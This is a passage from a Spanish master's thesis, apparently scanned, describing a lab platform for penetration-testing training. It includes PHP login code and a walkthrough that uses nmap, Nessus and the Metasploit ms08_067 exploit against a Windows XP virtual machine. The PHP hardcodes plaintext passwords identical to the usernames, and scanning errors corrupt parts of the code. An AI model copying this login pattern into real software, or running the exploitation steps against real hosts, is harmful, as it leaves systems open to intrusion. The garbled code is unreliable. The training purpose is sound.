La Figura 13 muestra el diagrama de actividad de la aplicacion web. En este diagrama se
muestra que la primera accién es ingresar las credenciales al sistema. El sistema
informatico cuenta con un control de acceso. Los usuarios deben haber sido registrados
previamente a nivel de codigo fuente. Después de esto el sistema revisa si las credenciales
ingresadas al sistema coinciden con las del cédigo fuente. Ahora hay un condicional, si el
nombre ingresado no coincide con ningin nombre en el cédigo fuente, entonces el sistema
reportara que el usuario no ha sido encontrado y volvera a solicitar las credenciales de
acceso al sistema. Por el contrario, si el nombre de usuario coincide entonces el sistema
ahora verificara si la contrasefia ingresada coincide con la contrasefia destinada para el
usuario encontrado previamente guardado en el sistema. Si la contrasefia no coincide,
entonces el sistema reportard que la contrasefia es incorrecta y volvera a solicitar las
credenciales de acceso. Si la contrasefa ingresa coincide con la contrasefia del usuario;
entonces ahora el sistema verificara el rol de usuario. Esta Ultima verificacion es interna y si
la persona tiene rol de administrador, entonces sera redirigido a la web de gestion de ISSIS.
Por el contrario si la persona tiene rol de Usuario, entonces sera redirigido a la web de
seleccién de universo. En esta web el usuario dispone de tres universos como son el
universo 10, 11y 12. Dependiendo de la seleccion del universo, el usuario es redirigido a la
web de précticas donde desarrollar el test de intrusion. Con esto finaliza el diagrama de

actividad.
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Figura 13. Diagrama de actividad Aplicacion web (Elaboracion propia)

Con el disefio terminado, se procede a implementar la aplicacion web. A continuacién se

explica los segmentos de cédigo fuente cuyo comportamiento se ajusta al diagrama de

actividad presente en la Figura 13.
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4.2.4.3. Implementacion de la aplicacién web
El requisito no funcional determina que se use el lenguaje de programacion php. Este
lenguaje es usado para aplicaciones web del lado del servidor. La aplicacion web contiene
los scripts control.php y usuarios.php. Estos scripts son los més importantes ya que se
encargan de la l6gica del negocio de la aplicacion. A continuacion se muestra el codigo
fuente del registro de los usuarios.

$rutaGestion = "./gestion.php";
$rutaPracticas = "./fasePrevia.php";
$user;

$password;

$users = array(
/*¥0*/"isis",
/*1*/"osiris",
/*2*/"horus",
/*¥3*/"julian",
/*4*/"horus4",
/*5*/"horus5",
/*6*/"horus6",
/*7*/"horus7",
/*8*/"horus8",
/*¥9*/"horus9",
/*10*/"horusle",
/*11*/"hacker",
/*¥12*/"camilo")

$passw = array(
/*¥0*/"isis",
/*1*/"osiris",
/*2*/"horus",
/*¥3*/"julian",
/*4*/"horus4",
/*5*/"horus5",
/*6*/"horus6",
/*7*/"horus7",
/*8*/"horus8",
/*¥9*/"horus9",
/*10*/"horusle",
/*11*/"hacker",
/*¥12*/"camilo")

$roles = array(
/*6*/0J
/*2*/0;
/*3*/0;
/*4*/0;
/*7%/0,
/*8%/0,
/*9*/0J
/*1e*/e,
/*11*/1,
/*12%/1)
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Son tres arrays. El primer array de nombre $users almacena el nombre de los usuarios, el
segundo array de nombre $passw almacena la password de los usuarios y en el tercer array
de nombre $roles se almacena los tipos de rol de los usuarios. En el tercer array, el valor 0
significa que la persona tiene rol de Administrador mientras que el valor 1 significa que la
persona tiene rol de Usuario. Estos arrays son posteriormente recorridos por un ciclo for()
presente en el script de nombre control.php. A continuacion se muestra este script.

for ($i = 0; $i < count($users); $i++) {
$c = count($users) - ($i + 1); //bandera

if (($users[$i] != $user) && $c == 0) {
errorLogin(@); // $a=0 : USUARIO NO ENCONTRADO

break;
} elseif ($user == "usuario") {
errorLogin(1); // $a=1 : DIGITE UN USUARIO
break;
} elseif ($users[$i] === $user) {
if ($password == "password") {
errorLogin(2); // $a=2 : INGRESE UNA PASSWORD
break;

} elseif ($passw[$i] != $password) {
errorLogin(3); //$a=3 : PASSWORD INCORRECTA

break;
} elseif ($passw[$i] === $password) {
if ($roles[$i] === 0) {

header("Location: $rutaGestion");
session_start();

$_SESSION[ 'user'] = $user;

break;

} else if ($roles[$i] === 1) {
header("Location: $rutaPracticas");
session_start();
$_SESSION[ 'user'] = $user;
$ SESSION[ 'nuser'] = $i;
break;

El cddigo anterior basicamente consiste en recorrer el array $users donde estan
almacenados los nombres de los usuarios. La variable $c es un contador el cual disminuye
conforme se esté recorriendo el array $users. Si el contador llega a cero y al mismo tiempo
el valor de la variable $user no coincide con el valor de la posicion del array $users;
entonces la funcién errorLogin(0) muestra un mensaje de error que dice “usuario no
encontrado”. Cuando la persona no digita ningun usuario, entonces el valor de la variable
$user por defecto es “usuario”. Si el sistema detecta que el valor de $user es “usuario”,

entonces la funcion errorLogin(1) muestra un mensaje de error que dice “digite un usuario”.
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Si el sistema detecta que los valores de la variable $user y de la posicion del array $users
coinciden, entonces el sistema verifica la contrasefia ingresada. Al igual que la variable
$user, la variable $password también tiene un valor por defecto. Este valor es “password”. Si
este valor es detectado por el sistema, la funcién errorLogin(2) muestra un mensaje de error
que dice “Ingrese una password”. Si las contrasefias no coinciden, entonces la funcion
errorLogin(3) muestra el mensaje “Password incorrecta”. Finalmente si las contrasefas
coinciden, el sistema verifica el nimero de la posicion del array $users con el nimero de la
posicion del array $roles. El valor que tenga esa posicion define a donde sera enviado el
usuario en el sitio web. Si el valor de la posicion en el array $users es 0, la funcion
header("Location: $rutaGestion") envia al usuario al contenido web de gestién del
sistema informatico, pero si el valor de la posicion en el array $users es 1, la funcién
header("Location: $rutaPracticas ") envia al usuario al contenido web de préacticas del
test de intrusion. Las siguientes funciones se encargan de recibir los datos del formulario de
acceso al sistema.

function verificaUsuario() {
$user = filter_input(INPUT_POST, "user");

if ($user 1= "") {
return $user;
} else {

return "usuario";

}
}

function verificaPassword() {
$password = filter_input(INPUT_POST, "password");

if ($password != "") {
return $password;
} else {

return "password";

}

Las anteriores funciones tienen la funciéon filter_input(INPUT_POST, "password"). Esta
funcion recibe los datos enviados desde formularios html con el método post. Si el usuario
no envia nada, la funcién retorna un valor por defecto. El valor por defecto para la funcion
que verifica el nombre del usuario es “usuario” mientras que el valor por defecto para la
funcion que verifica la contrasefia es “password”. De esta forma finaliza la implementacion
de la aplicacion web. Los otros archivos que la componen son basicamente contenido
estatico en html y css el cual encapsula un contenido dinamico del lado del cliente con
javascript usando el framework jquery para facilitar la manipulacién del DOM. A continuacion
se muestra las pruebas que se ejecutaron sobre el sistema. Estas pruebas se realizaron en

conjunto sobre la aplicacién web y el sistema informético a la vez.
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4.3. Evaluacion

Para probar el sistema, se tienen tres equipos conectados a través de un modem-router en
una red local tipo estrella. El equipo donde se encuentra el sistema informatico esta
conectado de forma alambrica al modem-router. Esto se debe a que las conexiones
alambricas son mas estables y como el sistema informético tiene muchos servicios, es
necesario garantizar que estos servicios siempre estén disponibles. Los demas equipos se
conectan de forma inalambrica ya que son clientes del sistema informético. La Figura 14

muestra la conexion fisica de los usuarios con el sistema informatico (ISSIS).

ISSIS
192.168.0.2

192.168.0.1

ADMIMISTRADOR USUARIO
192.168.0.11 192.168.0.12

Figura 14. Topologia fisica (Elaboracién propia)

El modem tiene configurado un servicio dhcp el cual entrega a los clientes direcciones I1Pv4
en el segmento 192.168.0.(11-254). ISSIS esta configurado con direccion estatica
192.168.0.2 y el modem-router tiene la direccion estética 192.168.01 por tanto se evitan

conflictos de direccionamiento IPv4. No se usa direccionamiento IPv6.

Una vez establecida la conexion, la persona con rol de administrador se conecta a ISSIS en

el navegador web ingresando la siguiente direccion:

http://192.168.0.2
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La Figura 15 muestra el resultado de hacerle una peticién al servidor web que reside en
ISSIS.

[ «1ssis:. X

< C | 0 192.168.0.2

INFORMATIC SECURITY SIMULATOR
INFORMATION SYSTEM

Usuario: |
Password: I

Enviar

Figura 15. Web de ISSIS (Elaboracion propia)

Se muestra el control de acceso al sistema informatico. Acorde al disefio, el sistema solicita
nombre de usuario y contrasefia. El hombre usuario osiris tiene rol de Administrador del
sistema. Por tanto una vez ingresa su password, es dirigido a la web de gestion. Como se ve
en la Figura 16, el usuario osiris esta en la web de gestion del sistema informatico. En esta
web, el administrador tiene acceso a un menu en la parte superior para acceder a todas las
herramientas de gestion de ISSIS. Al mismo tiempo dispone de un menu izquierdo donde
tiene acceso a la guia de configuracion del simulador para la practica del test de intrusion.
En la opcion de [SIMULADOR], el Administrador tiene acceso a la aplicaciéon phpVirtualBox
donde puede activar y desactivar las maquinas virtuales (ver Figura 17). En la opcién
[OsirisDB], el Administrador tiene acceso al gestor de bases de datos phpPgAdmin (Ver
Figura 18) desde el cual se administra la base de datos msf. En esta base datos se registran
las opciones de configuracion de exploits que los usuarios realizan cuando estan ejecutando
el test de intrusion. La opcién [OsirisNESSUS] permite acceder al escaner de
vulnerabilidades nessus (ver Figura 19). Desde esta aplicacion se crean los usuarios que
haran uso del escaner de vulnerabilidades. Sus credenciales de acceso son las mismas que
se usan cuando ingresan al portal de acceso al sistema informatico (Ver Figura 15). Para que
OsirisDB 'y OsirisNESSUS funcionen, la maquina virtual OSIRIS debe estar activa
previamente. Finalmente desde la opcion [Networking] es posible acceder a la
configuracion del modem-router para modificar parametros de servicio de red que se usen
en el sistema informatico como pueden ser el direccionamiento IPv4 o la clave de acceso a

la red wireless en caso que se use una topologia de red inalambrica.
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[} - 1SSIS - GESTION :. X

< C | ® 192.168.0.2/gestion.php ? %| O

WEB DE GESTION::sSis

INFORMATIC SECURITY SIMULATOR B . .
S INFORMATION SYSTEM ienvenido .|

BIENVENIDO A 1SSIS

I ;Que es 1s51s7

Guia de Gestion Esta es la web de administracién de isSis.

Test de intrus En el menu izquierdo se tiene acceso a la Guia de Gestién. Esta guia describe el paso

a paso para configurar la plataforma para que los usuarios accedan a los recursos
de la misma y puedan aprender de forma practica a desarrellar un test de intrusion.

En el menu superior se tiene acceso a los componentes para la administracién de
isSis. Estos son:

SIMULADOR: En esta aplicacion se activan y desactivan las maquinas
virtuales a ser usadas por los usuarios en capacitacién.

OsirisDB: En esta aplicacién se consulta la base de datos tipo Posgresql para
revisar los registros que estén asociados con el uso de metasploit por parte
de los usuarios.

OsirisNESSUS: En esta aplicacion se consultan los registros de los procesos
de andlisis de vulnerabilidades que los usuarios ejecuten.

Networking: En esta aplicacion se tiene acceso a la configuracién del router
para procesos de Networking en la plataforma.

Figura 16. Web de gestidn de ISSIS (Elaboracion propia)

Si la persona que ingresa al sistema tiene rol de Usuario, entonces es dirigido a la web fase
previa (Ver Figura 20). En esta web, al usuario se le pide configurar un direccionamiento
estatico en su equipo. El direccionamiento a mostrar lo muestra la web en su parte superior.
Al configurar un direccionamiento estatico en el equipo, el usuario queda aislado del sistema
real y cualquier accion de ataque o hacking solo se podra realizar en el escenario virtual. De
esta forma se obtiene seguridad. Una vez el usuario halla configurado su equipo con
direccionamiento IPv4, debe dar click en el botén ENTRAR para ser redirigido a la web de
practicas. La web de test de intrusidon (Ver Figura 21), contiene toda la informacion para
aprender a ejecutar un test de intrusion. En el menu izquierdo se encuentran descritas las
fases de practicas las cuales deben seguir en orden. En el menud superior se encuentra las
herramientas como [PUTTY] para acceder remotamente a la maquina virtual de nombre
horus, la herramienta [NESSUS] (Ver Figura 19) para realizar la fase de andlisis de
vulnerabilidades y la opcion [Guia en PDF] permite descargar estos contenidos en PDF por

si el usuario desea tener una copia de la guia practica en su ordenador.

51
Disefio e implementacion de sistema informatico para entrenamiento en test de intrusién



Julian Camilo Fonseca Romero

Master Universitario en Ingenieria de Software y
Sistemas informaticos

&« C | @ 192.168.0.2/simulador/
File Machine Help
e )
N
MNew Settings Start Stop

VirtualBox (127.0.0.1)
£23 Hosting - 5.1.22

<2 1raGeneracion
[64] §]
<7 2daGeneracion
G Y
[64] §]
<2 testIntrusion
EE

> forense

MANJAROG4
(@) Powered Off

victimaxp32
@ Powered Off

OSIRIS
(@) Powered Off

HORUS
(@) Powered Off

victimaxp32sp2
@ Powered Off

HORUS1
@ Powered Off

victimaxp32sp2-1
@ Powered Off

.@n General [H Preview
Name: OSIRIS
05 Type: Arch Linux {64-bit)
m System
Base Memory: 1024 MB
Boot Order: Floppy, Optical, Hard Disk

Acceleration: P

Display
Video Memory:

Remate Desktop Server Port:

Storage
Controller: SATA
SATA Port 0:

{2 Audio
Disabled
@ Network

Adapter 1:
Adapter 2:

Intel
Intel

(Guest Network Adapters)

£y serial Ports
Disabled

5 |

(¥ usB

Disabled

[] Shared Folders
Shared Folders:

VT-%/AMD-V, Nested Paging, KVM

Snapshots Console

aravirtualzation

16 MB

9000  (192.168.0.2:9000)

0SIRIS-diskl.vmdk (Normal, 80 GB)

PRO,/1000 MT Desktop (NAT)
PRO/1000 MT Desktop {Bridged adapter, enp2s0)

Figura 17. Aplicacion phpVirtualBox (Elaboracion propia)
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Figura 18. Acceso a phpPgSql de base de datos de Metasploit (Elaboracion propia)
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Figura 19. Acceso a NESSUS (Elaboracién propia)
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[ . 1S5IS - fasePravia . x

& - C | ® 1921680.2/fasePreviaphp ? 4O

® Universo 10
© Universo 11
© Universo 12

FASE PREVIA:;sSis
Biem-‘enidu

Direccion IP asignada:
Mascara de red:
Direccion IP OSIRIS:

OBJETIVO:
INGRESAR AL ESCENARIO VIRTUAL

Para ingresar al escenario virtual, configurar en tu equipo la direccién IPvd mostrada
en la parte superior.

Para hacerlo, descargar |a guia de configuracion [Manual 1Pv4 estatica] en el menu
izquierdo.

Abrir una conscla cmd de Windows y realizar un ping extendido a 192.168.10.1. Esto
se hace con el siguiente comando:

ping t 192.168.10.1

Por defecto, el usuario esta en el Universo 10. Si desea cambiar de universo,
seleccionarlo en el menud de la izquierda.

Una vez esté configurado el direccionamiento IPvd en el equipo, dar click en el
botén [ENTRAR] en el ment de 3 izquierda.

Figura 20. Web fase previa de ISSIS (Elaboracién propia)

[ ISSIS - Test de Intrusior

X

& (& @192.168.10.1jtesr.tlmrusxon.ph;: % | O

INFORMATIC SECURITY SIMULATOR

INFORMATION SYSTEM

FASES
:Enumeracion:

Analisis de

bl

:Explotacion:

TEST DE INTRUSION:isSis

B ienvenido

Tu direccion IP es:
Mascara de red:
Direccion IP OSIRIS:

FASE : EXPLOTACION

OBJETIVO: Explotar las vulnerabilidades sobre la ma

Metasploit es un framework desarrollado con RUBY que permite explotar diferentes
vulnerabilidades en diversos sistemas operativos. Se puede usar en modo consola o como
un aplicativo web. En este caso se usara por medio de consola.

En la consola del usuario horus, ejecutar el siguiente comando:

horus@horus ~> msfconsole

Es necesario esperar un tiempo corte mientras se cargan todos los médulos de metasploit.
Una vez dentro de metasploit, es necesario conectarse a la base datos preconfigurada
donde se almacenan los datos relacionados con cada ataque. Para esto se ejecuta el
siguiente comando:

msf > db_connect horus:horus@192.168.10.1/msf

Figura 21. Web test de intrusion (Elaboracién Propia)
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Con todos los servicios activos, ahora si es posible que la persona en rol de Usuario
aprenda a ejecutar un test de intrusion. La persona seleccionada para probar el sistema es
un estudiante de especializacion en seguridad de la informacion de la fundacion universitaria
Juan De Castellanos ubicada en Tunja Colombia. La Figura 22 muestra la pantalla de

bienvenida que la persona con rol de usuario ve una vez ingrese al sistema.

El estudiante sigue paso a paso la guia y desarrolla el test de intrusion sin problemas. Sin
embargo en dos ocasiones se confundié con los comandos a ejecutar en el sistema. De esta
manera se procede a corregir la guia para que sea todavia mas entendible. En nimero de
correcciones va a la par con el nimero de versiones que se vallan sacando de la guia. La
guia empieza con la version 0.5.0 y a medida que sea modificada aumenta el nUmero de

versiones de la misma. Con estas correcciones ahora la guia esta en la version 0.5.8.

HORUS

Hint: Mum Lock om

horus login: horus
Pas=zword:
Last login: Wed May 24 22:09:51 on ttyl

;
;
;

E
E
k3
E
S
k3
E
S
E

***#:*

5
§
i
a

#***:#***
*:#***

;

horusfhorus >

Figura 22. Pantalla de bienvenida de maquina HORUS (Elaboracién propia)
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La persona en capacitacion tiene acceso remoto via ssh a la maquina HORUS y por tanto
tiene acceso a las siguientes herramientas:

e NMAP (Procesos de enumeracion y descubrimiento de redes).

e  NESSUS (Procesos de andlisis de vulnerabilidades).

e  METASPLOIT (Procesos de explotacidn).
Se decide que la persona con rol de usuario tenga acceso remoto via SSH a la maquina
HORUS. En un escenario real se suele usar la linea de comandos para hacking ético ya que
es mas rapido y gasta menos recursos en hardware. Se evita cualquier recurso grafico como
escritorio remoto por ejemplo. Una alternativa para cuando se necesiten recursos graficos es
intentar usar el navegador web. En este caso se usa NESSUS y su gestién se puede hacer

con un navegador web.

La Figura 23 y la Figura 24 muestran el desarrollo de la fase enumeracion por parte de la

persona en capacitacion.

horus@horus > sudo

Starting Nmap 7.40 ( https:/snmap.org ) at 2017-06-21 18:56 COT

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using ——system-—
dns or specify valid servers with ——dns-servers

Nmap scan report for 192.168.10.1

Host is up (0.00036s latency).

MAC Address: 08:00:27:5B:C6:AZ2 (Oracle VirtwalBox virtual NIC)

Nmap scan report for 192.168.10.3

Host is up (0.00025s latency).

MAC Address: 08:00:27:FC:E0:BF (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.10.2

Host is up.

Nmap done: 256 IP addresses (3 hosts up) scammed in 2.01 seconds
horus@horus "> _

Figura 23. Uso de la herramienta NMAP (Elaboracién propia)

Host iz wp (0.00014s latency).

Not shoun: 991 closed ports

PORT STATE SERVICE UERSION

Zlstcp  open fip Microsoft ftpd

29/tcp  open sntp Microsoft ESMTP 6.0.2600.2180

80-tcp open http Microsoft IIS httpd 5.1

135-tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

443/tcp open https?

445-tcp open nicrosoft-ds Microsoft Windows XP microsoft-ds
1025-tcp open msrpc Microsoft Windows RPC

1433-tcp open ms-sgl-s Microsoft SQL Server 2005 9.00.1399: RTM
MAC Address: 08:00:27:0B:D4:0A (Oracle VirtualBox wirtwal NIC)
Service Info: Host: victimaxp3ZspZ: 05s: Windows, Windouws XP; CPE: cpe:-o:microsoft:windows, cpe:-o:
microsoft :uindous_xp

Service detection performed. Please report any incorrect results at https: /nmap.org-submit. .
Nmap done: 1 IP address (1 host up) scammed in 8.88 seconds

Figura 24. Identificando puertos con NMAP (Elaboracion propia)
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La Figura 25 muestra el momento en que la persona con rol de usuario esta configurando

metasploit para ejecutar un ataque.

exploit(n=08_067_netapi) > set RHOST 192.168.10.11\r
RHOST => 192.168.10.11
exploit(n=08_067_netapi) > show optionshsr

Module options (exploitswindows/smb m=08_067_netapi):
Name Current Setting Required Description

RHOST 192.168.10.11 The target address

RPORT 445 yes The SMB =zervice port (TCP)
SMBEPIPE BROUSER yes The pipe name to use (BROWSER, SRUSUC)

Exploit target:

Id HName

fAutomatic Targeting

Figura 25. Configuracién de Mestasploit (Elaboracién propia)

En resumen, el sistema se comport6 establemente. Después de que el usuario se conect6 al
sistema y configuré una IP estatica en su portatil, accedié a la web de practicas (ver Figura
21) y de ahi descarg6 las herramientas para realizar el test de intrusion sin problemas. Tanto
solo descarg6 la guia en formato PDF y la herramienta de conexion cliente ssh de nombre
PUTTY. Accedi6 remotamente a la maquina virtual HORUS la cual es la atacante y
siguiendo la guia, desarrollo paso a paso el test de intrusiéon. Durante este momento el
sistema se comportd establemente y respondia segun al usuario digitaba los comandos
mostrados en la guia. EI Administrador del sistema ingres6 a la web y activo las maquinas
virtuales segun la guia lo mostraba. En este caso solo se activaron las maquinas virtuales
HORUS, OSIRIS y victimaXp.

El usuario demostro interés a medida que ejecutaba el test de intrusién. Solo fue necesaria
la intervencion del administrador dos veces ya que el usuario no entendia dos pasos en la

guia. Esto se corrige en la siguiente versién de la guia.

Al final el usuario aprendié de una forma sencilla a usar la herramienta NMAP para
enumerar las maquinas virtuales activas en el escenario virtual. Aprendié a establecer
politicas de escaneo de vulnerabilidades con la herramienta NESSUS. Y aprendié a
configurar la herramienta METASPLOIT para preparar y realizar un ataque de acceso no

autorizado de consola remota a la maquina victima explotando una de sus vulnerabilidades.
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5. Conclusiones y trabajo futuro

5.1. Conclusiones

Los resultados obtenidos son positivos. Los usuarios que usaron el sistema informético
dijeron estar satisfechos y demostraron interés y entusiasmo todo el tiempo. Uno de los
testimonios decia que el tiempo que se invertia instalando maquinas virtuales y configurando
herramientas ahora se invierte en aprender ya que todas las herramientas y servicios estan
activos desde el principio. Con solo un usuario, contrasefia y configurar un direccionamiento
estatico; se tiene acceso al ambiente virtual previamente configurado para que los usuarios
hagan uso del mismo siguiendo una metodologia simple. En los requisitos establecidos se
propone gque no se haga uso de bases de datos con fines de acelerar el desarrollo y
depuracién del sistema informatico. Aun asi en el médulo infraestructura se opta por instalar
una base de datos mariaDB. Esto se hizo asi ya que a futuro cuando el sistema informatico
esté lo suficientemente depurado, se podra investigar en la optimizacion del mismo. La
instalacion de la base de datos mariaDB se puede ver como una reserva para un plan de
trabajo futuro. Se instalé otra base de datos Postgresql. A diferencia de mariaDB, esta si es
usada por los usuarios al trabajar con metasploit. Por tanto se invirti6 tiempo para crearla,

configurarla y establecer su acceso remoto por parte del administrador del sistema.

El sistema informatico esta enfocado para ser usado en redes locales a un nimero limitado
de usuarios que no superen 10 personas o menos dependiendo de los recursos en
hardware donde se instale el sistema. El sistema no tiene acceso a internet y su funcién es
la de capacitar personas. No hay informacién sensible por proteger. Ningun usuario tendria
razones suficientes como para atentar contra la disponibilidad del sistema. De esta manera
la seguridad en el sistema no es un punto fuerte a tratar. Sin embargo a forma de
investigacion, se proyecta una posible auditoria a la aplicacién web para encontrar y depurar

errores criticos.

La arquitectura del sistema estd compuesta por médulos. La descripcion, el disefio y la
implementacion de los mdédulos fueron tratados en detalle en el proyecto. Esto permite
concluir que para seguir con el desarrollo eficiente del proyecto seria necesario de al menos
una persona por cada médulo. El perfil de una persona del médulo Infraestructura seria
alguien con conocimientos y experiencia avanzados en instalacion y configuracion de
sistemas operativos tipo LINUX. El perfil de una persona encargada del médulo Simulador

seria alguien con experiencia en gestion de hypervisores y tecnologias de virtualizacion.
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El perfil de una persona encargada del modulo Practicas seria alguien con conocimientos en
pedagogia. El perfil de una persona encargada del médulo Aplicacion seria alguien con
conocimientos en tecnologias web del lado del cliente y del servidor. Como en todo proyecto
entre mas personas con las capacidades necesarias y con disposicion a ayudar, muchas
mas probabilidad que todo salga mejor.

Pese a que los usuarios del sistema tienen la opcion de escoger un determinado espacio
virtual para realizar su practica de test de intrusion, esto no significa que deba ser asi. Dos
usuarios pueden trabajar en el mismo espacio virtual compartiendo la misma red. De
momento esto significa que las acciones que realice un usuario podrian afectar a otro
usuario. Por ejemplo un usuario podria atacar sin autorizaciéon al otro usuario y dejarlo por
fuera del sistema. Sin embargo si en la practica del test de intrusién ya no se requiere atacar
la maquina victima con Windows XP sino por el contrario se requiere atacar la maquina
virtual del comparfiero en la misma red o espacio virtual, entonces en este caso si seria
valido. Ilgualmente el usuario podria atacarse a si mismo desde su maquina virtual hacia su
maquina fisica desde donde esta accediendo al sistema y de esta manera el usuario podria

descubrir sus vulnerabilidades personales por asi decirlo.

En general se disefi6 e implement6 un sistema informético con una infraestructura estable
usando tecnologias web y de virtualizaciébn que permiti6 a sus usuarios conectarse y asi
capacitarse en la ejecucion de un test de intrusién de forma practica. Se obtuvo informaciéon
de plataformas, simuladores y proyectos en general relacionados con capacitaciéon en
seguridad informatica. Se cumplieron los requisitos del sistema informéatico ya que se
establecié la infraestructura del sistema informatico de tal forma que no existiera
inconveniente al momento de alojar e integrar las tecnologias web y de virtualizacién. Se
disefi6 y se desarrollé la aplicacion web la cual guia a los usuarios en el desarrollo de las

practicas de test de intrusion las cuales fueron realizadas sin problemas.

58
Disefio e implementacién de sistema informatico para entrenamiento en test de intrusion



Julian Camilo Fonseca Romero Master Universitario en Ingenieria de Software y
Sistemas informaticos

5.2. Lineas de trabajo futuro

El trabajo actual abre muchas lineas de trabajo futuro. Es posible profundizar en el médulo
Simulador ya que este contiene tecnologias de virtualizacion. Para el trabajo actual se uso
VirtualBox pero a futuro se podria trabajar con el hypervisor XEN. El objetivo seria lograr la
integracion entre XEN e ISSIS. Con XEN el comportamiento del simulador en general seria

mas estable y con mejor rendimiento ya que usa virtualizacion por hardware.

Seguir disefiando y desarrollando guias de practicas de seguridad informética para ser
integradas en el sistema. Investigar en temas como andlisis forense para el cual se podria
habilitar una maquina virtual que previamente haya sido atacada. Esta maquina virtual se
puede activar para ser usada por los usuarios del sistema en el desarrollo de una practica

de andlisis forense.

Aplicacion de metodologia agil SCRUM como alternativa al modelo unificado de proceso de
desarrollo de software para una mejor adaptabilidad a cambios constantes en la aplicacion
web como la adicién de nuevas guias o la aceptacion de nuevas ideas para ser aplicados en

el sistema informético con fines de no quedar obsoleto.

Aplicacién de técnicas de inteligencia artificial para simulaciéon de ataques en tiempo real por

parte de un ente virtual integrado en el sistema informatico.

Disefio y desarrollo de guias y escenarios dedicados a realizacién de practicas de defensa
en profundidad como configuracion de firewall o IDS para después probar el nivel de

efectividad de los mismos.

Disefio y desarrollo de guias y escenarios dedicados a realizacion de practicas de pruebas
de malware para medir su nivel de impacto. EI malware puede ser copia de malware

conocido o desarrollado exclusivamente para el sistema informatico.

Aplicacion de juego de guerra de ciberseguridad entre dos usuarios donde uno tendria el rol
de atacante y otro de defensor en el escenario. El atacante podria usar frameworks como
metasploit o sus propias herramientas desarrolladas en Python mientras que el defensor
podria hacer uso de firewalls, honeypots o IDS. Si el defensor es desarrollador y quiere
proteger una aplicacion sea o no sea web, se podria evaluar el nivel de seguridad del cédigo

fuente.
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Modelo guia practica test de Intrusion

Fecha
Creacion

Ultima
Modificacion
Version

Tiempo de
desarrollo de
la practica

24-Mayo-2017

01-Julio-2017

0.5.8

45 minutos

Julian Fonseca

Test de Intrusion a Maquina Vulnerable

DESCRIPCION

En esta practica se desarrollan 3 fases para
realizar un test de intrusibn a una maquina
vulnerable.

En la primera fase se desarrolla un proceso de
enumeracion.

En la segunda fase se desarrolla un proceso de
andlisis de vulnerabilidades.

En la tercera fase se desarrolla un proceso de
explotacion de vulnerabilidades.

Se usan las siguientes herramientas:

e Nmap (enumeracion)
e  NESSUS (analisis de vulnerabilidades)
e Metasploit (explotacion de vulnerabilidades)

Se recomienda tener conocimientos previos en:

e Direccionamiento IPv4.
e Protocolo TCP/IP
e Sistemas Operativos
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FASE ENUMERACION

OBJETIVO: Enumerar los servicios de la maquina victima usando NMAP.

Master Universitario en Ingenieria de Software y
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Las direcciones IPv4 dadas por la plataforma pueden variar respecto al usuario.
Para esta guia se hace de cuenta que el usuario es el nimero 11 y esta en el
universo 10 dando una direccion IPv4 de: 192.168.10.11.

Descargar la herramienta PUTTY.

Con la herramienta putty conectarse via SSH a 192.168.10.2. La (Imagen 1) muestra

la herramienta putty.

g PuTTY Configuration =
Category:
= 5§55inn Basic options for your PuTTY session
S Ter I_.cuglging Specify the destination you want to connect to
Tm}'é::bna o Host Mame (or IP address) Port
. Bell 192.168.10.2 |[22 |
- Features Connection type:
= Window (ORaw (O Telnet (O Rlogin ®SSH (O Segal
J;ppea_rance Load, save or delete a stored session
- Behaviour
.. Translatian Saved Sessions
- Selection | |
- Colours .
Default Settings
=~ Connection Load
- Data Save
- Proxy
. Telnet Delete
- Rlogin
- 55H
- Senal Close window on exit:
(O Mways (I Never (8 Only on clean exit
Abowt Cpen Cancel
Imagen 1

Una vez ingresada la direccion, dar click en el boton Open y aparecera una nueva
consola donde nos solicitara nombre de usuario y contrasena.

Las credenciales de acceso a la maquina horus son:

Usuario | horus

Password | horus
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La Imagen 2 muestra el acceso remoto concedido por parte de la maquina horus. Si
se ejecutd correctamente el procedimiento, se obtendra un mensaje de bienvenida al
usuario.

HORUS

Hint: Mum Lock on

horus login: horus
Password:
Last login: Wed May 24 22:09:51 on ttyl

i
i

§****¥ x

;

i

¥ ook %

E .3
E
E
E
e
E
E
R
E

*#**:*
L B B A

s
|
i

**#*:****
*:#***

i

Imagen 2

La maquina horus tiene las herramientas para realizar procedimientos de
enumeracion y explotacién. Es por eso que el usuario se conecta remotamente a
esta maquina por medio del protocolo de conexiones remotas seguras SSH. En
resumen de momento se tienen tres maquinas en el escenario. A continuaciéon se
enumeran las tres maquinas:

Direccion IPv4 Maguina
192.168.10.1 OSIRIS
Maquina donde esté alojada la presente guia y aplicacion web
192.168.10.2 HORUS
Maquina atacante con herramientas de hacking
192.168.10.11 USUARIO
Maquina de la persona en capacitacion con rol de usuario

La maquina horus, es una maquina con sistema operativo tipo LINUX la cual
contiene las herramientas para desarrollar la actual guia. A continuacion es
necesario verificar que direccionamiento tiene la maquina horus. En la consola
remota ejecutar el siguiente comando:

horus@horus ~> ifconfig
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La Imagen 3 muestra la salida en pantalla de la ejecucion del comando ifconfig.

horusfhorus > ifconfig

enp0=3: flags=4163<UF,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.10.2 netmask £55.255.255.0 broadcast 192.168.10.255
ether 08:00:27:bf:57:a3 txqueuelen 1000 (Ethernet)

RX packet=s 2654 bytes 225242 (219.9 KiB)

RX errors @ dropped 0 overruns 0@ frame 0

T¥ packets 3758 bytes 247573 (241.7 KiB)

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Imagen 3

Ahora es necesario identificar los vecinos de la maquina horus. Para esto se usa la
herramienta NMAP.

NMAP es una herramienta libre y abierta usada para descubrimiento de redes y
auditorias de seguridad de sistemas informéticos. Con NMAP es posible identificar
que dispositivos estan en la red, que sistemas operativos tienen y que servicios
ofrecen.

El primer paso es identificar los dispositivos presentes en la red. Por tanto
ejecutamos el siguiente comando:

horus@horus ~> sudo nmap -sP 192.168.10.0/24

El comando sudo permite ejecutar nmap con privilegios de administrador. De esta
manera se obtiene mas informacion de los dispositivos conectados.

El parametro -sP tiene por nombre sweep ping. Este parametro se usa para
identificar los dispositivos en la red.

Por ultimo se ingresa la direccion de la red en la que se esta haciendo enumeracion
la cual es 192.168.10.0/24. La Imagen 4 muestra la informacién arrojada por la
ejecucion del comando anterior.

horus@horus > sudo

Starting Nmap 7.40 ( https:/snmap.org ) at 2017-06-21 18:56 COT

